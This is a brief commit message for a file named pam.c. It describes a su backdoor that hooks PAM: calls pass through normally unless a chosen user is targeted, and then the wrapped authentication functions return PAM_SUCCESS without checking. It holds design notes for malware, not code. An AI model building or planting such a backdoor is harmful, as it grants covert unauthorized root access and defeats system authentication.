Create pam.c

	Currently a su backdoor by hooking PAM:
		[*] If not su'ing SU_USER, hook real functions, so they still function normally.
		[*] Gets passwd entry for JACK_USER if su'ing SU_USER (pwd.h contains the passwd struct definition, or see man page)
		[*] Wraps PAM functions handling authentication (found via ltrace) -> returns PAM_SUCCESS for SU_USER/PAM_USER (authenticates without question)